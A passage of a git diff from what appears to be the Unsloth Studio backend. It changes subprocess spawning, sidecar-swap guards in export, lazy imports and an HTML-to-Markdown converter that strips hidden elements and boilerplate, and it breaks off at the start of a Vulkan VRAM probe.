 logger = get_logger(__name__)
@@ -169,12 +168,18 @@ class JobManager:
                 native_path_secret_removed_for_child_start,
                 run_without_native_path_secret,
             )
+            from utils.hf_cache_settings import child_environment_for_spawn, get_hf_cache_paths
 
-            with native_path_secret_removed_for_child_start():
+            cache_env = get_hf_cache_paths().child_env({})
+
+            with (
+                child_environment_for_spawn(cache_env),
+                native_path_secret_removed_for_child_start(),
+            ):
                 mp_q = _CTX.Queue()
                 proc = _CTX.Process(
                     target = run_without_native_path_secret,
-                    args = (run_job_process,),
+                    args = ("core.data_recipe.jobs.worker", "run_job_process", cache_env),
                     kwargs = {"event_queue": mp_q, "recipe": recipe, "run": run_payload},
                     daemon = True,
                 )
diff --git a/studio/backend/core/data_recipe/jobs/parse.py b/studio/backend/core/data_recipe/jobs/parse.py
index 3be830d0e4..8c2e8a4d55 100644
--- a/studio/backend/core/data_recipe/jobs/parse.py
+++ b/studio/backend/core/data_recipe/jobs/parse.py
@@ -133,7 +133,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None:
                 source = "github",
                 status = "rate_limited",
                 retry_after_sec = seconds,
-                message = ("Waiting for GitHub rate limit. Studio will resume automatically."),
+                message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."),
             ),
         )
 
@@ -147,7 +147,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None:
                 status = "rate_limited",
                 retry_after_sec = seconds,
                 message = (
-                    "Waiting for GitHub secondary rate limit. Studio will resume automatically."
+                    "Waiting for GitHub secondary rate limit. Unsloth will resume automatically."
                 ),
             ),
         )
@@ -161,7 +161,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None:
                 source = "github",
                 status = "rate_limited",
                 retry_after_sec = seconds,
-                message = ("Waiting for GitHub rate limit. Studio will resume automatically."),
+                message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."),
             ),
         )
 
diff --git a/studio/backend/core/data_recipe/local_callable_validators.py b/studio/backend/core/data_recipe/local_callable_validators.py
index ebb1d39dfb..ffc81669ae 100644
--- a/studio/backend/core/data_recipe/local_callable_validators.py
+++ b/studio/backend/core/data_recipe/local_callable_validators.py
@@ -238,7 +238,7 @@ def _run_oxc_batch(
     if not node_executable:
         return _fallback_results(
             len(code_values),
-            "Node.js not found (install Node >= 20.19, or re-run Studio setup to provision it).",
+            "Node.js not found (install Node >= 20.19, or re-run Unsloth setup to provision it).",
         )
     try:
         tmp_dir = ensure_dir(oxc_validator_tmp_root())
diff --git a/studio/backend/core/data_recipe/service.py b/studio/backend/core/data_recipe/service.py
index 9d8ca5cfcc..9770e88b7f 100644
--- a/studio/backend/core/data_recipe/service.py
+++ b/studio/backend/core/data_recipe/service.py
@@ -9,6 +9,8 @@ import os
 from pathlib import Path
 from typing import Any
 
+from utils.paths import recipe_datasets_root
+
 from .jsonable import to_jsonable
 from .local_callable_validators import (
     register_oxc_local_callable_validators,
@@ -277,6 +279,11 @@ def create_data_designer(recipe: dict[str, Any], *, artifact_path: str | None =
     _apply_data_designer_image_context_patch()
     from data_designer.interface.data_designer import DataDesigner  # pyright: ignore[reportMissingImports]
 
+    if artifact_path is None:
+        # DataDesigner defaults to cwd/artifacts; packaged Unsloth can run with
+        # cwd=/, so keep default callers on Unsloth's writable recipe artifact root.
+        artifact_path = str(recipe_datasets_root())
+
     recipe = _strip_frontend_model_config_metadata(recipe)
     model_providers = build_model_providers(recipe)
     _validate_recipe_runtime_support(recipe, model_providers)
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 671ef363f5..aaf48615f0 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -132,6 +132,11 @@ class ExportOrchestrator:
         """True while an export / load / cleanup command is running."""
         return self._export_active
 
+    def is_worker_alive(self) -> bool:
+        """True while the persistent export subprocess is running (op or idle)."""
+        proc = self._proc
+        return proc is not None and proc.is_alive()
+
     def was_cancelled(self) -> bool:
         """True if the in-flight (or most recent) run was cancelled by the user."""
         return self._cancel_requested
@@ -204,20 +209,41 @@ class ExportOrchestrator:
 
     def _spawn_subprocess(self, config: dict) -> None:
         """Spawn a new export subprocess."""
+        # Last-resort recheck for spawns outside an active op. Inside an op, _export_active is set and
+        # load_checkpoint already rechecked, so a reservation here is an install about to observe
+        # is_export_active() and abort; raising would kill this export for an install that never proceeds.
+        from utils.transformers_version import sidecar_swap_in_progress
+
+        from utils.transformers_version import sidecar_swap_kind
+
+        _swap_kind = sidecar_swap_kind()
+        # Inside an active op an INSTALL reservation is about to abort on the
+        # is_export_active check, but a lazy REPAIR has no such check and can be
+        # rebuilding the sidecar right now, so it must always refuse the spawn.
+        if _swap_kind == "repair" or (_swap_kind is not None and not self._export_active):
+            from utils.transformers_version import SidecarSwapInProgress
+            raise SidecarSwapInProgress(
+                "A transformers installation is replacing the latest sidecar; "
+                "retry when it completes."
+            )
         from utils.native_path_leases import (
             native_path_secret_removed_for_child_start,
             run_without_native_path_secret,
         )
+        from utils.hf_cache_settings import child_environment_for_spawn, get_hf_cache_paths
 
-        from .worker import run_export_process
+        cache_env = get_hf_cache_paths().child_env({})
 
-        with native_path_secret_removed_for_child_start():
+        with (
+            child_environment_for_spawn(cache_env),
+            native_path_secret_removed_for_child_start(),
+        ):
             self._cmd_queue = _CTX.Queue()
             self._resp_queue = _CTX.Queue()
 
             self._proc = _CTX.Process(
                 target = run_without_native_path_secret,
-                args = (run_export_process,),
+                args = ("core.export.worker", "run_export_process", cache_env),
                 kwargs = {
                     "cmd_queue": self._cmd_queue,
                     "resp_queue": self._resp_queue,
@@ -231,11 +257,17 @@ class ExportOrchestrator:
         adopt_pid(self._proc.pid)  # bind to parent lifetime (Windows job / sweep)
         logger.info("Export subprocess started (pid=%s)", self._proc.pid)
 
-    def _shutdown_subprocess(self, timeout: float = 10.0) -> None:
-        """Gracefully shut down the export subprocess."""
+    def _shutdown_subprocess(self, timeout: float = 10.0) -> bool:
+        """Gracefully shut down the export subprocess.
+
+        Returns True only once the worker is confirmed dead. If it survives
+        terminate/kill (e.g. wedged in an uninterruptible CUDA syscall that outlives
+        SIGKILL) the live handle is KEPT, not nulled, so is_worker_alive() and the
+        pre-swap liveness guard can still observe the survivor instead of a cleared
+        handle and refuse the destructive sidecar swap."""
         if self._proc is None or not self._proc.is_alive():
             self._proc = None
-            return
+            return True
 
         self._drain_queue()
 
@@ -265,10 +297,20 @@ class ExportOrchestrator:
                 except Exception:
                     pass
 
+        if self._proc is not None and self._proc.is_alive():
+            # Survived SIGKILL (uninterruptible syscall): keep the handle so callers
+            # and the pre-swap guard see a live worker rather than a nulled one.
+            logger.error(
+                "Export subprocess still alive after terminate/kill; "
+                "preserving its handle for the pre-swap liveness check"
+            )
+            return False
+
         self._proc = None
         self._cmd_queue = None
         self._resp_queue = None
         logger.info("Export subprocess shut down")
+        return True
 
     def _cleanup(self):
         """atexit handler."""
@@ -339,9 +381,10 @@ class ExportOrchestrator:
 
             if rtype == "status":
                 message = resp.get("message", "")
-                logger.info("Export subprocess status: %s", message)
-                # Surface status in the live log panel for high-level progress.
+                # One structured export_progress line per phase (consolidated in the
+                # server log, like training/download progress); also shown live.
                 if message:
+                    logger.info("export_progress", phase = message)
                     self._append_log(
                         {
                             "stream": "status",
@@ -409,14 +452,44 @@ class ExportOrchestrator:
             self._export_active = True
             op_success, op_message = False, ""
             try:
+                # Handshake with the sidecar install route: _export_active is set above, so either this
+                # recheck refuses BEFORE tearing down the old worker (keeping the loaded checkpoint), or
+                # the install sees is_export_active() and 409s. The spawn-time recheck stays as a last resort.
+                from utils.transformers_version import sidecar_swap_in_progress
+
+                if sidecar_swap_in_progress():
+                    from utils.transformers_version import SidecarSwapInProgress
+                    op_message = (
+                        "A transformers installation is replacing the latest "
+                        "sidecar; retry when it completes."
+                    )
+                    raise SidecarSwapInProgress(op_message)
                 # Always kill any existing subprocess and spawn fresh.
                 if self._ensure_subprocess_alive():
-                    self._shutdown_subprocess()
+                    if self._shutdown_subprocess() is False:
+                        # Survivor still holds GPU memory (a wedged CUDA syscall outliving
+                        # SIGKILL); its handle is kept so is_worker_alive() and the pre-swap
+                        # guard still see it. Do not spawn a second worker over it -- fail so
+                        # the load can retry once it exits.
+                        op_message = (
+                            "The current export worker did not exit and still holds GPU "
+                            "memory; not starting a new checkpoint load over it. Retry shortly."
+                        )
+                        return False, op_message
                 elif self._proc is not None:
                     self._shutdown_subprocess(timeout = 2)
 
                 logger.info("Spawning fresh export subprocess for '%s'", checkpoint_path)
-                self._spawn_subprocess(sub_config)
+                try:
+                    self._spawn_subprocess(sub_config)
+                except Exception:
+                    # The old worker is already gone; a stale current_checkpoint
+                    # would make the Export page claim a loaded checkpoint that
+                    # the next op then fails on with "no subprocess running".
+                    self.current_checkpoint = None
+                    self.is_vision = False
+                    self.is_peft = False
+                    raise
 
                 try:
                     resp = self._wait_response("loaded")
@@ -560,6 +633,18 @@ class ExportOrchestrator:
             self._export_active = True
             op_success, op_message, op_output_path = False, "", None
             try:
+                # Handshake with the sidecar install route (see load_checkpoint): _export_active is set
+                # above, so this recheck refuses before the command is sent, or the install sees the active
+                # op and 409s. Without it, an install would block in cleanup_memory behind a long export op.
+                from utils.transformers_version import sidecar_swap_in_progress
+
+                if sidecar_swap_in_progress():
+                    from utils.transformers_version import SidecarSwapInProgress
+                    op_message = (
+                        "A transformers installation is replacing the latest "
+                        "sidecar; retry when it completes."
+                    )
+                    raise SidecarSwapInProgress(op_message)
                 cmd = {"type": "export", "export_type": export_type, **params}
                 try:
                     self._send_cmd(cmd)
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index 7828116236..9ecfa73eee 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -236,6 +236,17 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
     checkpoint_path = cmd["checkpoint_path"]
     max_seq_length = cmd.get("max_seq_length", 2048)
     load_in_4bit = cmd.get("load_in_4bit", True)
+    # Latest-sidecar checkpoints load 16-bit here too: bnb 4-bit feeds quantized
+    # expert weights into unvalidated paths (same flip as the chat worker).
+    if load_in_4bit:
+        from utils.transformers_version import latest_tier_active_for
+        if latest_tier_active_for(checkpoint_path, cmd.get("hf_token")):
+            load_in_4bit = False
+            logger.info(
+                "Latest-transformers sidecar active for %s - forcing a 16-bit "
+                "export load (4-bit is disabled for brand-new architectures)",
+                checkpoint_path,
+            )
     trust_remote_code = cmd.get("trust_remote_code", False)
 
     # Auto-enable trust_remote_code for NemotronH/Nano models.
@@ -387,6 +398,19 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
     # orchestrator spawns a fresh subprocess per checkpoint load, resetting it.
     _log_forward_gate.set()
 
+    # Phase milestone so the heavy export step shows in the server log; the
+    # merge/save/convert itself only forwards stdout to the live panel.
+    _phase = {
+        "merged": f"Exporting merged model ({cmd.get('format_type', '16-bit (FP16)')})...",
+        "gguf": f"Exporting GGUF ({cmd.get('quantization_method', 'Q4_K_M')})...",
+        "lora": "Exporting LoRA adapter...",
+        "base": "Exporting base model...",
+    }.get(export_type, f"Exporting ({export_type})...")
+    _send_response(
+        resp_queue,
+        {"type": "status", "message": _phase, "ts": time.time()},
+    )
+
     output_path: Any = None
     try:
         if export_type == "merged":
diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py
index 2faf70bb79..1491dfa749 100644
--- a/studio/backend/core/inference/__init__.py
+++ b/studio/backend/core/inference/__init__.py
@@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation.
 The default get_inference_backend() returns an InferenceOrchestrator that
 delegates to a subprocess. The original InferenceBackend runs inside the
 subprocess and can be imported directly from .inference when needed.
+
+Public names are resolved lazily (PEP 562): importing this package -- or a
+dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull
+the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML
+backend and its Unsloth dependencies). Those load only when a public name is
+actually accessed, so standalone helpers stay unit-testable without the full
+inference stack.
 """
 
-from .orchestrator import InferenceOrchestrator, get_inference_backend
-from .llama_cpp import LlamaCppBackend
-
-# Expose InferenceOrchestrator as InferenceBackend for backward compat.
-InferenceBackend = InferenceOrchestrator
+from typing import TYPE_CHECKING
 
 __all__ = [
     "InferenceBackend",
@@ -21,3 +24,33 @@ __all__ = [
     "get_inference_backend",
     "LlamaCppBackend",
 ]
+
+# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator.
+_LAZY_ATTRS = {
+    "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"),
+    "InferenceBackend": ("orchestrator", "InferenceOrchestrator"),
+    "get_inference_backend": ("orchestrator", "get_inference_backend"),
+    "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"),
+}
+
+
+def __getattr__(name):
+    try:
+        submodule, attr = _LAZY_ATTRS[name]
+    except KeyError:
+        raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None
+    from importlib import import_module
+
+    value = getattr(import_module(f"{__name__}.{submodule}"), attr)
+    globals()[name] = value  # cache so later access skips __getattr__
+    return value
+
+
+def __dir__():
+    return sorted(set(globals()) | set(__all__))
+
+
+if TYPE_CHECKING:  # keep static analysers / IDEs aware of the lazy names
+    from .llama_cpp import LlamaCppBackend
+    from .orchestrator import InferenceOrchestrator, get_inference_backend
+    InferenceBackend = InferenceOrchestrator
diff --git a/studio/backend/core/inference/_html_to_md.py b/studio/backend/core/inference/_html_to_md.py
index e7de4a5312..92471b9866 100644
--- a/studio/backend/core/inference/_html_to_md.py
+++ b/studio/backend/core/inference/_html_to_md.py
@@ -7,6 +7,11 @@ Minimal HTML-to-Markdown converter using only the standard library.
 Replaces the external ``html2text`` (GPL-3.0) dependency with a ~250-line
 ``html.parser.HTMLParser`` subclass. Covers headings, links, bold/italic,
 lists, tables, blockquotes, code blocks, and entity decoding.
+
+``main_content=True`` also applies a readability-style heuristic: scope
+conversion to the page's ``<article>`` (else ``<main>``) subtree when it
+carries substantial text, and strip known boilerplate fragments (skip-links,
+error placeholders, session banners, cookie prompts) from the result.
 """
 
 from __future__ import annotations
@@ -27,8 +32,138 @@ _SKIP_TAGS = frozenset(
         "math",
         "nav",
         "footer",
+        # Never-rendered / form-chrome elements, not page content.
+        "template",
+        "dialog",
+        "button",
+        "select",
+        "datalist",
     }
 )
+# <aside> is NOT skipped: docs use it for admonition callouts (real content);
+# page-furniture asides are excluded by the main-content scoping pass instead.
+
+# Void elements never produce an end tag, so they must not join the
+# open-element stack used to bound hidden subtrees.
+_VOID_TAGS = frozenset(
+    {
+        "area",
+        "base",
+        "br",
+        "col",
+        "embed",
+        "hr",
+        "img",
+        "input",
+        "link",
+        "meta",
+        "param",
+        "source",
+        "track",
+        "wbr",
+    }
+)
+
+
+def _style_hides_element(style: str) -> bool:
+    """True when an inline ``style`` sets ``display:none`` / ``visibility:hidden``.
+
+    Parsed per property so an unrelated value that merely contains ``none`` is
+    not misread as hidden."""
+    lowered = style.lower()
+    if "none" not in lowered and "hidden" not in lowered:
+        return False
+    for declaration in style.split(";"):
+        prop, sep, value = declaration.partition(":")
+        if not sep:
+            continue
+        prop = prop.strip().lower()
+        # Drop any !important flag and keep the first token of the value.
+        value = value.split("!", 1)[0].strip().lower()
+        if prop == "display" and value == "none":
+            return True
+        if prop == "visibility" and value == "hidden":
+            return True
+    return False
+
+
+def _is_hidden_element(attr_dict: dict) -> bool:
+    """True when the element is not rendered: ``hidden`` attribute,
+    ``aria-hidden="true"``, or an inline ``style`` hiding it. Such JS-only
+    placeholders ship in the HTML but must not reach the output. ``hidden`` is
+    enumerated: any present value (even ``hidden="false"``) means not rendered."""
+    if "hidden" in attr_dict:
+        return True
+    if (attr_dict.get("aria-hidden") or "").strip().lower() == "true":
+        return True
+    return _style_hides_element(attr_dict.get("style") or "")
+
+
+# HTML5 optional end tags: a listed start tag implicitly closes an open element
+# of the key type (as browsers do), else an unclosed ``<p hidden>``/``<li hidden>``
+# swallows every following sibling. Keys: closable elements; values: closers.
+_P_CLOSING_TAGS = frozenset(
+    {
+        "address",
+        "article",
+        "aside",
+        "blockquote",
+        "details",
+        "div",
+        "dl",
+        "fieldset",
+        "figcaption",
+        "figure",
+        "footer",
+        "form",
+        "h1",
+        "h2",
+        "h3",
+        "h4",
+        "h5",
+        "h6",
+        "header",
+        "hgroup",
+        "hr",
+        "main",
+        "menu",
+        "nav",
+        "ol",
+        "p",
+        "pre",
+        "section",
+        "table",
+        "ul",
+    }
+)
+_IMPLICIT_CLOSERS: dict = {
+    "p": _P_CLOSING_TAGS,
+    "li": frozenset({"li"}),
+    "dt": frozenset({"dt", "dd"}),
+    "dd": frozenset({"dt", "dd"}),
+    "tr": frozenset({"tr"}),
+    "td": frozenset({"td", "th", "tr"}),
+    "th": frozenset({"td", "th", "tr"}),
+    "option": frozenset({"option", "optgroup"}),
+    "optgroup": frozenset({"optgroup"}),
+}
+
+
+# Item tag -> container tags that re-scope it: a nested container makes an inner
+# item a descendant, not an optional-close sibling, so recovery must stop there
+# rather than close (and un-hide) the outer item and leak its nested content.
+_CLOSE_BARRIERS: dict = {
+    "li": frozenset({"ul", "ol", "menu"}),
+    "dt": frozenset({"dl"}),
+    "dd": frozenset({"dl"}),
+    "tr": frozenset({"table"}),
+    "td": frozenset({"table"}),
+    "th": frozenset({"table"}),
+    "option": frozenset({"select", "datalist"}),
+    "optgroup": frozenset({"select", "datalist"}),
+}
+
+
 _BLOCK_TAGS = frozenset(
     {
         "p",
@@ -51,13 +186,33 @@ _INLINE_EMPHASIS = {"strong": "**", "b": "**", "em": "*", "i": "*"}
 
 
 class _MarkdownRenderer(HTMLParser):
-    """HTMLParser subclass that emits Markdown tokens into a list."""
+    """HTMLParser subclass that emits Markdown tokens into a list.
 
-    def __init__(self):
+    ``scope_tags`` restricts emission to the subtree(s) of the given tags
+    (e.g. ``{"article"}``): outside them every handler is a no-op, which is
+    how the readability-style main-content pass drops page furniture.
+    """
+
+    def __init__(self, scope_tags: frozenset[str] | None = None):
         super().__init__(convert_charrefs = False)
         self._out: list[str] = []
         self._skip_depth: int = 0
 
+        # Main-content scoping: emit only while inside a scope tag.
+        self._scope_tags = scope_tags
+        self._scope_depth: int = 0
+
+        # Output boundaries per top-level scope element, so a caller can size each
+        # candidate alone and a swarm of tiny sibling cards can't clear the threshold.
+        self.scope_segments: list[str] = []
+        self._scope_seg_start: int | None = None
+
+        # Hidden-subtree tracking: stack of open non-void tags plus the indices
+        # where a hidden element started. End tags pop to the matching tag, so
+        # an omitted </p>/<li> close cannot leave the renderer stuck hidden.
+        self._open_tags: list[str] = []
+        self._hidden_marks: list[int] = []
+
         # Link state
         self._link_href: str | None = None
         self._link_text_parts: list[str] = []
@@ -150,16 +305,95 @@ class _MarkdownRenderer(HTMLParser):
     # ------------------------------------------------------------------
     # Tag handlers
     # ------------------------------------------------------------------
+    # Structural bookkeeping shared by every start tag (skip/hidden/scope).
+    def _close_implicit(self, tag: str) -> None:
+        """HTML5 optional-end-tag recovery for a start tag about to open.
+
+        Pops each implicitly-closed ancestor (and its hidden marks), scanning the
+        whole stack so an open ``<p>``/``<li>`` still closes under an unclosed inline
+        ``<span>``. Stops at a ``_CLOSE_BARRIERS`` container so recovery never crosses
+        a nested list/table/dl and leaks the outer item's hidden content. Runs even
+        for skipped ``<nav>``/``<footer>``, which also close ``<p>``."""
+        barriers = _CLOSE_BARRIERS.get(tag, ())
+        while True:
+            close_at = None
+            for i in range(len(self._open_tags) - 1, -1, -1):
+                name = self._open_tags[i]
+                if tag in _IMPLICIT_CLOSERS.get(name, ()):
+                    close_at = i
+                    break
+                # A barrier container re-scopes the item; stop before it.
+                if name in barriers:
+                    break
+            if close_at is None:
+                break
+            del self._open_tags[close_at:]
+            while self._hidden_marks and self._hidden_marks[-1] >= close_at:
+                self._hidden_marks.pop()
+
+    def _enter_tag(self, tag: str, attr_dict: dict) -> bool:
+        """Track open/hidden/scope state; return True when the tag's content
+        should be rendered (False = suppressed). Caller runs ``_close_implicit``
+        first so recovery also fires for skipped tags."""
+        if tag not in _VOID_TAGS:
+            self._open_tags.append(tag)
+            if _is_hidden_element(attr_dict):
+                self._hidden_marks.append(len(self._open_tags) - 1)
+        elif _is_hidden_element(attr_dict):
+            # Void elements never join the stack, so suppress a hidden one inline.
+            return False
+        if self._scope_tags is not None and tag in self._scope_tags:
+            if self._scope_depth == 0:
+                self._scope_seg_start = len(self._out)
+            self._scope_depth += 1
+        if self._hidden_marks:
+            return False
+        if self._scope_tags is not None and self._scope_depth == 0:
+            return False
+        return True
+
+    def _exit_tag(self, tag: str) -> bool:
+        """Pop to the matching open tag; return True when the end tag should
+        be rendered (False = it closed inside a hidden / out-of-scope region)."""
+        suppressed = bool(self._hidden_marks) or (
+            self._scope_tags is not None and self._scope_depth == 0
+        )
+        if tag not in _VOID_TAGS:
+            # Pop to the innermost matching open tag (recovers omitted closes).
+            for i in range(len(self._open_tags) - 1, -1, -1):
+                if self._open_tags[i] == tag:
+                    del self._open_tags[i:]
+                    while self._hidden_marks and self._hidden_marks[-1] >= i:
+                        self._hidden_marks.pop()
+                    break
+        if self._scope_tags is not None and tag in self._scope_tags and self._scope_depth > 0:
+            self._scope_depth -= 1
+            if self._scope_depth == 0 and self._scope_seg_start is not None:
+                self.scope_segments.append("".join(self._out[self._scope_seg_start :]))
+                self._scope_seg_start = None
+        return not suppressed
+
     def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
         tag = tag.lower()
 
+        if self._skip_depth:
+            # Inside a skipped subtree: only track nested skip depth.
+            if tag in _SKIP_TAGS:
+                self._skip_depth += 1
+            return
+
+        # Recover optional end tags before the skip decision: a skipped
+        # <nav>/<footer> still implicitly closes an open <p>, releasing its
+        # hidden mark so following siblings render.
+        self._close_implicit(tag)
+
         if tag in _SKIP_TAGS:
             self._skip_depth += 1
             return
-        if self._skip_depth:
-            return
 
         attr_dict = dict(attrs)
+        if not self._enter_tag(tag, attr_dict):
+            return
 
         if tag in _HEADING_TAGS:
             level = int(tag[1])
@@ -250,6 +484,9 @@ class _MarkdownRenderer(HTMLParser):
         if self._skip_depth:
             return
 
+        if not self._exit_tag(tag):
+            return
+
         if tag in _HEADING_TAGS:
             self._emit("\n\n")
 
@@ -308,8 +545,13 @@ class _MarkdownRenderer(HTMLParser):
     # ------------------------------------------------------------------
     # Text / entity handlers
     # ------------------------------------------------------------------
+    def _text_suppressed(self) -> bool:
+        if self._skip_depth or self._hidden_marks:
+            return True
+        return self._scope_tags is not None and self._scope_depth == 0
+
     def handle_data(self, data: str) -> None:
-        if self._skip_depth:
+        if self._text_suppressed():
             return
         if self._in_pre:
             self._pre_parts.append(data)
@@ -326,12 +568,12 @@ class _MarkdownRenderer(HTMLParser):
         self._emit(text)
 
     def handle_entityref(self, name: str) -> None:
-        if self._skip_depth:
+        if self._text_suppressed():
             return
         self._emit(html.unescape(f"&{name};"))
 
     def handle_charref(self, name: str) -> None:
-        if self._skip_depth:
+        if self._text_suppressed():
             return
         self._emit(html.unescape(f"&#{name};"))
 
@@ -366,6 +608,14 @@ class _MarkdownRenderer(HTMLParser):
             else:
                 self._out.append("\n\n" + prefixed + "\n\n")
 
+        # A scope left open by truncated HTML never reached _exit_tag, so its output
+        # never joined scope_segments and would score 0. Flush the still-open segment
+        # here (after the side-buffers) so a truncated main-content page is scored.
+        if self._scope_seg_start is not None:
+            self.scope_segments.append("".join(self._out[self._scope_seg_start :]))
+            self._scope_seg_start = None
+            self._scope_depth = 0
+
 
 # Post-processing
 def _cleanup(text: str) -> str:
@@ -399,17 +649,124 @@ def _cleanup(text: str) -> str:
     return "\n".join(out).strip()
 
 
-# Public API
-def html_to_markdown(source_html: str) -> str:
-    """Convert HTML to Markdown (headings, links, emphasis, lists, tables, blockquotes, code, entities).
+# Known boilerplate fragments stripped from main-content conversions, matched
+# only against short lines. Sources: GitHub page furniture / client-side error
+# placeholders, skip-links, cookie banners.
+_BOILERPLATE_FRAGMENTS = (
+    "skip to content",
+    "skip to main content",
+    "there was an error while loading",
+    "please reload this page",
+    "you can't perform that action at this time",
+    "you signed in with another tab or window",
+    "you signed out in another tab or window",
+    "you switched accounts on another tab or window",
+    "reload to refresh your session",
+    "you must be signed in to change notification settings",
+    "uh oh!",
+    "{{ message }}",
+    "this website uses cookies",
+    "we use cookies",
+    "accept all cookies",
+    "manage cookie preferences",
+)
+# Only shorter lines are eligible for boilerplate dropping; real content
+# sentences quoting a fragment run longer.
+_BOILERPLATE_MAX_LINE_CHARS = 300
 
-    ``<script>``, ``<style>``, and ``<head>`` are stripped entirely.
-    """
-    # Normalize line endings before parsing.
-    source_html = source_html.replace("\r\n", "\n").replace("\r", "\n")
-    renderer = _MarkdownRenderer()
+# Normalized furniture phrases for whole-segment matching. See _line_is_boilerplate.
+_BOILERPLATE_NORMALIZED = frozenset(
+    re.sub(r"\s+", " ", fragment).strip().casefold().rstrip(".!:")
+    for fragment in _BOILERPLATE_FRAGMENTS
+)
+
+
+def _line_is_boilerplate(line: str) -> bool:
+    """True only when a whole line is composed of known furniture phrases.
+
+    Splits on sentence terminators and requires every segment to be furniture, so a
+    line stacking several phrases is dropped while prose that merely quotes one is
+    kept (its other words leave a non-furniture segment)."""
+    normalized = re.sub(r"\s+", " ", line).strip().casefold()
+    if not normalized:
+        return False
+    segments = [segment.strip().rstrip(".!:") for segment in re.split(r"[.!]", normalized)]
+    segments = [segment for segment in segments if segment]
+    return bool(segments) and all(segment in _BOILERPLATE_NORMALIZED for segment in segments)
+
+
+def _strip_boilerplate_lines(text: str) -> str:
+    """Drop short lines that consist entirely of known page-furniture phrases.
+
+    Fenced code blocks are preserved verbatim: boilerplate never renders
+    inside ``<pre>``, while READMEs legitimately quote error strings."""
+    out: list[str] = []
+    in_fence = False
+    for line in text.split("\n"):
+        if line.lstrip().startswith("```"):
+            in_fence = not in_fence
+            out.append(line)
+            continue
+        if not in_fence and len(line) <= _BOILERPLATE_MAX_LINE_CHARS and _line_is_boilerplate(line):
+            continue
+        out.append(line)
+    # Collapse blank runs the dropped lines may have left behind.
+    return re.sub(r"\n{3,}", "\n\n", "\n".join(out)).strip()
+
+
+def _render(source_html: str, scope_tags: frozenset[str] | None) -> str:
+    renderer = _MarkdownRenderer(scope_tags = scope_tags)
     renderer.feed(source_html)
     renderer.close()
     renderer.flush_pending()
     raw = "".join(renderer._out)
     return _cleanup(raw)
+
+
+def _select_main_scope_render(source_html: str, tag: str) -> tuple[int, str]:
+    """Length and boilerplate-stripped render of the largest single ``<tag>``
+    subtree. Sizing candidates one at a time stops many tiny sibling cards from
+    clearing the threshold together, and returning that one subtree keeps
+    unrelated siblings (related cards, comment threads) out of the output."""
+    renderer = _MarkdownRenderer(scope_tags = frozenset({tag}))
+    renderer.feed(source_html)
+    renderer.close()
+    renderer.flush_pending()
+    best_len = 0
+    best_render = ""
+    for seg in renderer.scope_segments:
+        rendered = _strip_boilerplate_lines(_cleanup(seg))
+        if len(rendered) > best_len:
+            best_len = len(rendered)
+            best_render = rendered
+    return best_len, best_render
+
+
+# A scoped conversion below this size is judged not to be the page's main
+# content (e.g. an empty <article> stub) and the next candidate is tried.
+_MIN_MAIN_CONTENT_CHARS = 200
+
+
+# Public API
+def html_to_markdown(source_html: str, *, main_content: bool = False) -> str:
+    """Convert HTML to Markdown (headings, links, emphasis, lists, tables, blockquotes, code, entities).
+
+    ``<script>``, ``<style>``, and ``<head>`` are stripped entirely, as are
+    subtrees hidden from rendering (``hidden`` / ``aria-hidden="true"``).
+
+    ``main_content=True`` applies a readability-style heuristic for page
+    fetches: prefer the ``<article>`` subtree (GitHub renders READMEs there),
+    then ``<main>``, falling back to the whole document, and strip known
+    boilerplate fragments from the result.
+    """
+    # Normalize line endings before parsing.
+    source_html = source_html.replace("\r\n", "\n").replace("\r", "\n")
+    if main_content:
+        for scope_tag in ("article", "main"):
+            # Render only the chosen subtree so sibling <article>/<main>
+            # elements do not leak in once the largest passes the size gate.
+            length, rendered = _select_main_scope_render(source_html, scope_tag)
+            if length >= _MIN_MAIN_CONTENT_CHARS:
+                return rendered
+        return _strip_boilerplate_lines(_render(source_html, None))
+    return _render(source_html, None)
diff --git a/studio/backend/core/inference/_vulkan_probe.py b/studio/backend/core/inference/_vulkan_probe.py
new file mode 100644
index 0000000000..706346daad
--- /dev/null
+++ b/studio/backend/core/inference/_vulkan_probe.py
@@ -0,0 +1,110 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Standalone free-VRAM probe for the bundled ggml Vulkan backend.
+
+Run in a short-lived subprocess (``python _vulkan_probe.py <bindir>``) so the
+Vulkan instance never lives in the long-running backend process. Loads the
+bundled ggml Vulkan backend from ``<bindir>`` and prints one
+``<idx>\\t<free_bytes>\\t<is_igpu>\\t<total_bytes>`` line per device to stdout.
+Indices are ggml's own Vulkan device ordinals, which need not match nvidia-smi
+order. ``is_igpu`` (from ggml's device type) is ``1`` for an integrated GPU
+sharing system RAM. ``total_bytes`` is the device-local heap; the reader uses
+it to reserve absolute headroom on a discrete card (parity with the CUDA/ROCm
+fit) and ignores it for an iGPU, whose "VRAM" is shared system RAM.
+
+Uses only the standard library so it stays runnable as a bare script.
+"""
+
+import ctypes
+import os
+import sys
+
+# ggml_backend_dev_type enum (ggml-backend.h): CPU=0, GPU=1, IGPU=2, ...
+_GGML_BACKEND_DEVICE_TYPE_IGPU = 2
+
+
+def _igpu_flags(base, lib, count: int) -> list[bool]:
+    """Per-device integrated-GPU flags via ggml's backend registry.
+
+    The Vulkan reg enumerates devices in the same order as
